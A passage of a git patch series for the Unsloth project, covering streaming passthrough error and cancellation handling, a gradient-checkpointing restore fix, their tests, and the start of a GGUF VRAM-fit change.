err_text[:500]) raise _openai_passthrough_error(upstream_status, err_text) + # Keep tracker cleanup paired if pre-header dispatch is cancelled after we + # have already committed headers. async def _stream(): # Same httpx lifecycle pattern as _anthropic_passthrough_stream: # save resp.aiter_lines() so the finally block can aclose() it on @@ -10976,10 +11011,10 @@ async def _openai_passthrough_stream( lines_iter = None # Watchers unblock aiter_lines() during prefill, before in-loop # cancel/disconnect checks can run. - cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp)) - disconnect_watcher = asyncio.create_task( - _await_disconnect_then_close(request, resp, cancel_event) - ) + cancel_watcher = None + disconnect_watcher = None + + nonlocal resp, send_task, first_token_deadline, _truncate_budget monitor_done = False saw_finish_reason = False saw_done = False @@ -11112,6 +11147,79 @@ async def _openai_passthrough_stream( return lines try: + while True: + if send_task is not None and not send_task.done(): + try: + resp = await send_task + except httpx.RequestError as e: + logger.error("openai passthrough stream: upstream unreachable: %s", e) + api_monitor.fail(monitor_id, _friendly_error(e)) + yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n" + return + send_task = None + elif send_task is not None: + try: + resp = send_task.result() + except httpx.RequestError as e: + logger.error("openai passthrough stream: upstream unreachable: %s", e) + api_monitor.fail(monitor_id, _friendly_error(e)) + yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n" + return + send_task = None + + if resp is None: + api_monitor.finish(monitor_id, "cancelled") + return + if resp.status_code == 200: + break + + err_bytes = await resp.aread() + err_text = err_bytes.decode("utf-8", errors = "replace") + logger.error( + "openai passthrough upstream error: status=%s body=%s", + resp.status_code, + err_text[:500], + ) + upstream_status = resp.status_code + try: + await resp.aclose() + except Exception: + pass + resp = None + if ( + _truncate_budget > 0 + and _classify_llama_generation_error(Exception(err_text)) + and _apply_overflow_truncation(body, err_text) + ): + _truncate_budget -= 1 + req = client.build_request( + "POST", target_url, json = body, headers = {"Connection": "close"} + ) + first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S + send_task = asyncio.create_task( + _send_stream_with_preheader_cancel( + client, req, cancel_event, request = request + ) + ) + continue + + upstream_error = _openai_passthrough_error(upstream_status, err_text) + error_payload = ( + upstream_error.detail + if isinstance(upstream_error.detail, dict) + else openai_error_body( + str(upstream_error.detail), + status = upstream_status, + ) + ) + api_monitor.fail(monitor_id, err_text[:500]) + yield f"data: {json.dumps(error_payload)}\n\n" + return + + cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp)) + disconnect_watcher = asyncio.create_task( + _await_disconnect_then_close(request, resp, cancel_event) + ) lines_iter = resp.aiter_lines() async for raw_line in _aiter_llama_stream_items( lines_iter, @@ -11298,6 +11406,7 @@ async def _openai_passthrough_stream( err = _openai_stream_error_chunk(e) yield f"data: {json.dumps(err)}\n\n" finally: + await _aclose_send_task(send_task) await _aclose_stream_resources( watchers = (cancel_watcher, disconnect_watcher), iterator = lines_iter, @@ -11311,6 +11420,7 @@ async def _openai_passthrough_stream( # finally never ran. Release the eagerly-opened upstream resp/client # and the cancel-registry entry here; the watchers and line iterator # are created inside _stream(), so there is nothing else to close. + await _aclose_send_task(send_task) await _aclose_stream_resources(resp = resp, client = client) _tracker.__exit__(None, None, None) @@ -11325,6 +11435,8 @@ async def _openai_passthrough_stream( unstarted_cleanup = _unstarted_cleanup, ) except BaseException: + await _aclose_send_task(send_task) + await _aclose_stream_resources(resp = resp, client = client) _tracker.__exit__(None, None, None) raise diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py index 1d725acd45..ccbd78e2b1 100644 --- a/studio/backend/tests/test_openai_tool_passthrough.py +++ b/studio/backend/tests/test_openai_tool_passthrough.py @@ -1856,6 +1856,553 @@ class TestApiMonitorProviderAndCompletionStreams: chunks = [chunk async for chunk in response.body_iterator] return SimpleNamespace(chunks = chunks, body = "".join(chunks), monitor = monitor) + def test_passthrough_stream_preheader_dispatched_with_timeout(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + + async def fake_send(*_args, **_kwargs): + await gate.wait() + return httpx.Response(200, content = b"") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + assert "data: [DONE]\n\n" in "".join(chunks) + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_non_200_in_window(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + async def fake_send(*_args, **_kwargs): + return httpx.Response(400, content = b'{"error":"bad"}') + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + with pytest.raises(HTTPException) as exc: + await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ) + assert exc.value.status_code == 400 + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_request_error_in_window(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + async def fake_send(*_args, **_kwargs): + raise httpx.ConnectError("connectivity issue") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + with pytest.raises(HTTPException) as exc: + await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ) + assert exc.value.status_code == 502 + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_delayed_non_200_returns_sse_error(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + + async def fake_send(*_args, **_kwargs): + await gate.wait() + return httpx.Response(400, content = b'{"error":"bad"}') + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + body = "".join(chunks) + assert "data:" in body + assert '"error"' in body + [entry] = monitor.snapshot() + assert entry["status"] == "error" + assert "bad" in entry["error"] + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_delayed_context_error_keeps_error_envelope( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + ctx_msg = "request (4096 tokens) exceeds the available context size (2048 tokens)" + + async def fake_send(*_args, **_kwargs): + await gate.wait() + return httpx.Response(400, content = ctx_msg.encode("utf-8")) + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 2048, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + body = "".join(chunks) + payload = json.loads(body.removeprefix("data: ").strip()) + assert payload["error"]["code"] == "context_length_exceeded" + assert payload["error"]["param"] == "messages" + assert isinstance(payload["error"], dict) + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_delayed_context_error_retries_truncation( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + calls = [] + err_body = json.dumps( + { + "error": { + "message": "request (10000 tokens) exceeds the available context size (2048 tokens)", + "n_prompt_tokens": 10000, + "n_ctx": 2048, + } + } + ).encode("utf-8") + + async def fake_send(_client, req, *_args, **_kwargs): + calls.append(json.loads(req.content.decode("utf-8"))) + if len(calls) == 1: + await gate.wait() + return httpx.Response(400, content = err_body) + return httpx.Response(200, content = b"") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + messages = [ + ChatMessage(role = "system", content = "system"), + *[ + ChatMessage(role = "user", content = f"turn {idx} " + ("x" * 1000)) + for idx in range(8) + ], + ] + payload = ChatCompletionRequest( + model = "default", + messages = messages, + stream = True, + context_overflow = "truncate_middle", + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 2048, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + assert "data: [DONE]\n\n" in "".join(chunks) + assert len(calls) == 2 + assert len(calls[1]["messages"]) < len(calls[0]["messages"]) + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_delayed_request_error_cleans_up(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + cancel_id = "delayed-request-error-cancel" + + async def fake_send(*_args, **_kwargs): + await gate.wait() + raise httpx.ConnectError("delayed connectivity issue") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + cancel_id = cancel_id, + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + assert cancel_id in inf_mod._CANCEL_REGISTRY + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + body = "".join(chunks) + assert "data:" in body + assert '"error"' in body + [entry] = monitor.snapshot() + assert entry["status"] == "error" + assert "Lost connection" in entry["error"] + assert cancel_id not in inf_mod._CANCEL_REGISTRY + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_cancel_cleans_pending_send(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + entered = asyncio.Event() + cancelled = asyncio.Event() + cancel_id = "preheader-cancel-cleanup" + + async def fake_send(*_args, **_kwargs): + entered.set() + try: + await asyncio.Event().wait() + except asyncio.CancelledError: + cancelled.set() + raise + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + cancel_id = cancel_id, + ) + task = asyncio.create_task( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ) + ) + await asyncio.wait_for(entered.wait(), timeout = 0.2) + assert cancel_id in inf_mod._CANCEL_REGISTRY + + task.cancel() + with pytest.raises(asyncio.CancelledError): + await task + await asyncio.wait_for(cancelled.wait(), timeout = 0.2) + assert cancel_id not in inf_mod._CANCEL_REGISTRY + + asyncio.run(_run()) + + def test_passthrough_stream_unstarted_cleanup_closes_completed_send_response(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + returned = asyncio.Event() + cancel_id = "unstarted-completed-send-cleanup" + + class Stream(httpx.AsyncByteStream): + async def __aiter__(self): + if False: + yield b"" + + stream = Stream() + upstream_response = httpx.Response(200, stream = stream) + + async def fake_send(*_args, **_kwargs): + await gate.wait() + returned.set() + return upstream_response + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + cancel_id = cancel_id, + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + assert cancel_id in inf_mod._CANCEL_REGISTRY + + gate.set() + await asyncio.wait_for(returned.wait(), timeout = 0.2) + await asyncio.sleep(0) + await response._unstarted_cleanup() + assert upstream_response.is_closed + assert cancel_id not in inf_mod._CANCEL_REGISTRY + + asyncio.run(_run()) + def test_external_non_streaming_json_updates_monitor(self, monkeypatch): async def _run(): import routes.inference as inf_mod From 2b06616a7eebe84535b9afc7ce4f37f45fe456e7 Mon Sep 17 00:00:00 2001 From: oobabooga Date: Fri, 3 Jul 2026 12:35:02 -0300 Subject: [PATCH 23/27] Fix TrainingArguments silently disabling unsloth gradient checkpointing (#6829) * Fix TrainingArguments silently disabling unsloth gradient checkpointing * Cover loaded adapters and preserve explicit None in GC restore * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com> Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- tests/test_gradient_checkpointing_restore.py | 185 +++++++++++++++++++ unsloth/models/llama.py | 8 + unsloth/models/rl.py | 16 +- unsloth/models/rl_replacements.py | 3 +- unsloth/models/vision.py | 5 + 5 files changed, 212 insertions(+), 5 deletions(-) create mode 100644 tests/test_gradient_checkpointing_restore.py diff --git a/tests/test_gradient_checkpointing_restore.py b/tests/test_gradient_checkpointing_restore.py new file mode 100644 index 0000000000..4f9f3faccc --- /dev/null +++ b/tests/test_gradient_checkpointing_restore.py @@ -0,0 +1,185 @@ +# Unsloth - 2x faster, 60% less VRAM LLM training and finetuning +# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser General Public License for more details. + +"""Regression for #4735: a plain ``TrainingArguments`` silently disabling the +gradient-checkpointing (GC) mode the model was configured with at setup. + +Setup records the effective GC mode as ``_unsloth_gradient_checkpointing``; the +trainer restores *that* value, falling back to ``args.gradient_checkpointing`` +only when nothing was recorded. The restore lines live inside exec'd template +strings, which ``py_compile`` never sees, so these tests pull the real snippets +out of the source and execute them against fakes. GPU-free. +""" + +from __future__ import annotations + +import ast +import re +from pathlib import Path + +_ROOT = Path(__file__).resolve().parent.parent / "unsloth" / "models" +_RL = (_ROOT / "rl.py").read_text() +_RL_REPLACEMENTS = (_ROOT / "rl_replacements.py").read_text() + +# The single-line ternary form used at the trainer call sites: +# ._unsloth_gradient_checkpointing if hasattr(, '...') else getattr(, 'gradient_checkpointing', True) +_TERNARY = re.compile( + r"(?P[\w.]+)\._unsloth_gradient_checkpointing " + r"if hasattr\((?P=model), '_unsloth_gradient_checkpointing'\) " + r"else getattr\((?P[\w.]+), 'gradient_checkpointing', True\)" +) + +_MISSING = object() + + +class _Obj: + """Bare attribute bag; ``_unsloth_gradient_checkpointing`` present only when recorded.""" + + def __init__( + self, + recorded = _MISSING, + gradient_checkpointing = _MISSING, + ): + if recorded is not _MISSING: + self._unsloth_gradient_checkpointing = recorded + if gradient_checkpointing is not _MISSING: + self.gradient_checkpointing = gradient_checkpointing + + +class _Self: + def __init__( + self, + model = None, + args = None, + ): + if model is not None: + self.model = model + self.args = args + + +# (recorded on model, args.gradient_checkpointing, expected restored value) +# The point of the fix: a recorded mode wins over args, and a recorded ``None`` +# (a valid setup value) is restored verbatim rather than collapsing to the +# args fallback the way a ``None`` sentinel would. +_MATRIX = [ + ("unsloth", False, "unsloth"), # the #4735 case: args=False must NOT win + (True, False, True), + (False, True, False), # user turned GC off; args=True must NOT re-enable it + (None, True, None), # explicit None is restored, not treated as "unrecorded" + (_MISSING, True, True), # nothing recorded -> fall back to args + (_MISSING, False, False), +] + + +def _eval_ternary(expr, recorded, args_gc): + """Eval a restore expression that references either ``model``/``args`` or ``self.model``/``self.args``.""" + model = _Obj(recorded = recorded) + args = _Obj(gradient_checkpointing = args_gc) + self = _Self(model = model, args = args) + return eval( + expr, {"hasattr": hasattr, "getattr": getattr}, {"model": model, "args": args, "self": self} + ) + + +def test_ternary_restore_semantics(): + exprs = [m.group(0) for m in _TERNARY.finditer(_RL)] + exprs += [m.group(0) for m in _TERNARY.finditer(_RL_REPLACEMENTS)] + # Also guards against the lines being deleted/renamed (which reinstates the bug). + assert len(exprs) >= 3, f"expected the 3 trainer-call restore sites, found {len(exprs)}" + for expr in exprs: + for recorded, args_gc, expected in _MATRIX: + got = _eval_ternary(expr, recorded, args_gc) + assert got == expected and type(got) is type( + expected + ), f"{expr!r}: recorded={recorded!r} args={args_gc!r} -> {got!r}, expected {expected!r}" + + +def _extract_prepare_restore_block(): + """Pull the multi-line restore block out of ``prepare_for_training_mode``'s wrapper. + + It lives inside an exec'd template string, so grab it textually: from the + ``_model = getattr(self, 'model', None)`` line through the closing + ``else:``/``use_gc = ...`` pair. + """ + lines = _RL.splitlines() + start = next( + i for i, l in enumerate(lines) if l.strip() == "_model = getattr(self, 'model', None)" + ) + # End at the fallback assignment rather than a fixed line count, so inserting + # lines into the block can't silently truncate what gets exec'd. + end = next( + i + for i, l in enumerate(lines) + if i > start and "use_gc = getattr(self.args, 'gradient_checkpointing', True)" in l + ) + block = lines[start : end + 1] + # dedent to column 0 so it execs as a top-level block + indent = len(block[0]) - len(block[0].lstrip()) + return "\n".join(l[indent:] for l in block) + + +def test_prepare_for_training_mode_block_semantics(): + block = _extract_prepare_restore_block() + # Must be valid Python (it's never seen by py_compile in the outer file). + ast.parse(block) + + for recorded, args_gc, expected in _MATRIX: + model = _Obj(recorded = recorded) + args = _Obj(gradient_checkpointing = args_gc) + ns = {"self": _Self(model = model, args = args), "hasattr": hasattr, "getattr": getattr} + exec(block, {}, ns) + got = ns["use_gc"] + assert ( + got == expected and type(got) is type(expected) + ), f"prepare block: recorded={recorded!r} args={args_gc!r} -> {got!r}, expected {expected!r}" + + +def test_prepare_block_tolerates_missing_model(): + # gemini flagged the unguarded self.model access: the block reads self.model via + # getattr(self, 'model', None), so a trainer without a .model attribute must fall + # back to args rather than raising AttributeError. + block = _extract_prepare_restore_block() + args = _Obj(gradient_checkpointing = True) + self_no_model = _Self(model = None, args = args) # _Self leaves .model unset when model is None + assert not hasattr(self_no_model, "model") + ns = {"self": self_no_model, "hasattr": hasattr, "getattr": getattr} + exec(block, {}, ns) + assert ns["use_gc"] is True + + +def test_recording_sites_are_real_module_code(): + # The recording side (unlike the restore side) is real module code, not a template + # string. Assert it's present at the choke point (patch_peft_model, so loaded adapters + # are covered) and at the pre-wrapped pass-through, both of which bypass the old + # get_peft_model-only recording. + llama = (_ROOT / "llama.py").read_text() + tree = ast.parse(llama) + + def assigns_marker(node): + return any( + isinstance(n, ast.Assign) + and any( + isinstance(t, ast.Attribute) and t.attr == "_unsloth_gradient_checkpointing" + for t in n.targets + ) + for n in ast.walk(node) + ) + + fns = {n.name: n for n in ast.walk(tree) if isinstance(n, ast.FunctionDef)} + assert "patch_peft_model" in fns and assigns_marker( + fns["patch_peft_model"] + ), "patch_peft_model must record _unsloth_gradient_checkpointing so loaded adapters are covered" + # The pass-through branch lives in get_peft_model. + assert assigns_marker( + fns["get_peft_model"] + ), "get_peft_model pass-through must record _unsloth_gradient_checkpointing" diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py index 14ee5ee24e..bb7289dfa8 100644 --- a/unsloth/models/llama.py +++ b/unsloth/models/llama.py @@ -3047,6 +3047,9 @@ class FastLlamaModel: # Pre-wrapped PEFT model passes through here; still arm the detector so an RL # trainer can reset a compile cache poisoned by a pre-train forward. _unsloth_install_pretrain_detector(model) + # This branch returns before patch_peft_model, so record here too; + # apply_unsloth_gradient_checkpointing above already re-patched global state to match (#4735). + model._unsloth_gradient_checkpointing = use_gradient_checkpointing model = _exclude_rope_inv_freq_from_ddp(model) return model else: @@ -3406,6 +3409,11 @@ class FastLlamaModel: @staticmethod def patch_peft_model(model, use_gradient_checkpointing = "unsloth"): + # Persist the effective GC mode so the trainer restores it verbatim: for_inference() + # clears the module flags every GRPO step, and a plain TrainingArguments defaults it to + # False, which would otherwise silently disable it at train time (#4735). Recorded here, + # not in get_peft_model, so adapters loaded via loader.py's from_pretrained path are covered. + model._unsloth_gradient_checkpointing = use_gradient_checkpointing if os.environ.get("UNSLOTH_USE_NEW_MODEL", "0") == "1": return FastBaseModel.patch_peft_model( model = model, diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py index 602de69d3f..62ef9e916a 100644 --- a/unsloth/models/rl.py +++ b/unsloth/models/rl.py @@ -423,8 +423,14 @@ def prepare_for_training_mode(f): pass # Enable training mode _was_training = None - # Get gradient checkpointing setting from training arguments - use_gc = getattr(self.args, 'gradient_checkpointing', True) + # Restore the GC mode the model was configured with at setup; fall back to + # the training args only when it wasn't recorded (issue #4735). Use hasattr, + # not a None sentinel, so a deliberately-recorded None is restored verbatim. + _model = getattr(self, 'model', None) + if hasattr(_model, '_unsloth_gradient_checkpointing'): + use_gc = _model._unsloth_gradient_checkpointing + else: + use_gc = getattr(self.args, 'gradient_checkpointing', True) if hasattr(self, 'model') and hasattr(self.model, "training"): _was_training = self.model.training if hasattr(self, 'model') and hasattr(self.model, "for_training"): @@ -532,7 +538,8 @@ class Unsloth{RLTrainer_name}(_Unsloth{RLTrainer_name}): if getattr(args, "_n_gpu", 1) != 1: args._n_gpu = 1 if "model" in locals() and hasattr(model, "for_training"): - model.for_training(use_gradient_checkpointing=getattr(args, 'gradient_checkpointing', True)) + _use_gc = model._unsloth_gradient_checkpointing if hasattr(model, '_unsloth_gradient_checkpointing') else getattr(args, 'gradient_checkpointing', True) + model.for_training(use_gradient_checkpointing=_use_gc) super().__init__({RLTrainer_call_args}{RLTrainer_kwargs}) if "model" in locals() and hasattr(model, "for_inference"): model.for_inference() @@ -1165,7 +1172,8 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"): if "model" in call_args: training_check = ( "if model is not None and hasattr(model, 'for_training'):\n" - " model.for_training(use_gradient_checkpointing=getattr(args, 'gradient_checkpointing', True))\n" + " _use_gc = model._unsloth_gradient_checkpointing if hasattr(model, '_unsloth_gradient_checkpointing') else getattr(args, 'gradient_checkpointing', True)\n" + " model.for_training(use_gradient_checkpointing=_use_gc)\n" "if 'tokenizer' in locals() and hasattr(tokenizer, 'padding_side'): tokenizer.padding_side = 'right'\n" "if 'processing_class' in locals():\n" " if hasattr(processing_class, 'padding_side'): processing_class.padding_side = 'right'\n" diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py index d3ada23cf9..3be614cf4a 100644 --- a/unsloth/models/rl_replacements.py +++ b/unsloth/models/rl_replacements.py @@ -761,7 +761,8 @@ def grpo_trainer__generate_and_score_completions(function_name, function): # Left pad prompt before calculation old and ref hidden states left_pad_tokens_per_prompt = calculate_pad_tokens_in_prompt(prompt_completion_ids, logits_to_keep, self.processing_class.pad_token_id) max_left_pad = torch.max(left_pad_tokens_per_prompt).item() - self.model.for_training(use_gradient_checkpointing=getattr(self.args, 'gradient_checkpointing', True))""" + _use_gc = self.model._unsloth_gradient_checkpointing if hasattr(self.model, '_unsloth_gradient_checkpointing') else getattr(self.args, 'gradient_checkpointing', True) + self.model.for_training(use_gradient_checkpointing=_use_gc)""" function = function.replace(line_to_replace, replacement_lines) diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py index 5ab55152db..689e362f95 100644 --- a/unsloth/models/vision.py +++ b/unsloth/models/vision.py @@ -1873,6 +1873,11 @@ class FastBaseModel: float32_mixed_precision = float32_mixed_precision, patch_modules_to_save = True, ) + # Persist the configured GC mode so the trainer restores it verbatim. + # for_inference() clears the module flags (GRPO does this every generation + # step), and a plain TrainingArguments defaults gradient_checkpointing=False, + # which would otherwise silently disable this setting at train time (#4735). + model._unsloth_gradient_checkpointing = use_gradient_checkpointing # Gemma3N audio conformer processes variable-length audio tensors # that cause stride mismatches in AOT autograd compiled backward From 9c2eacc35e3f5f3f33af3b2c3cad42a8dd4c5ec2 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Fri, 3 Jul 2026 09:07:30 -0700 Subject: [PATCH 24/27] Studio: reserve CUDA context and mmproj/MTP soft overhead in the GGUF fit budget (#6718) --------- Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com> Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com> --- studio/backend/core/inference/llama_cpp.py | 337 ++++++++++++++++-- studio/backend/tests/test_compute_buffer.py | 142 +++++++- studio/backend/tests/test_slot_offload_fit.py | 115 ++++++ studio/backend/tests/test_tensor_parallel.py | 79 +++- 4 files changed, 638 insertions(+), 35 deletions(-) create mode 100644 studio/backend/tests/test_slot_offload_fit.py diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py index 035e5d12c7..3ccfc5cdfe 100644 --- a/studio/backend/core/inference/llama_cpp.py +++ b/studio/backend/core/inference/llama_cpp.py @@ -801,7 +801,11 @@ _MTP_MIN_SIZE_B = 3.0 # Cap total GPU occupancy at this fraction of the card. The fit reserves an # absolute (1 - frac) * total per GPU when total VRAM is known, else a fraction # of free (see _fit_context_to_vram), plus a byte-accurate MTP draft reserve. -_CTX_FIT_VRAM_FRACTION = 0.95 +# 3%: the context-linear compute buffer is now modelled (_compute_buffer_ctx_bytes), +# so this cushion no longer covers it - only fragmentation, the per-device CUDA +# context on a multi-GPU split, and MoE routing, which measure ~2-3% (Qwen3.5-397B on +# 3 GPUs under-predicts by 